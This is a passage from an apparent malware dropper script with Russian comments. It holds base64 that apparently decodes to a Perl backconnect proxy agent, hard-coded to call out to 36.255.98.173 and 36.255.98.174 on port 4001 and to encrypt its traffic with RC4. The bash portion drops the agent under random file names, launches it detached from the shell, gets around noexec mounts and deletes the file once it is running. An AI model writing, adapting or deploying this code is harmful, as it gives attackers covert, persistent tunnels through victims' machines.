IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzMnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_8eecfa67() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzQnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB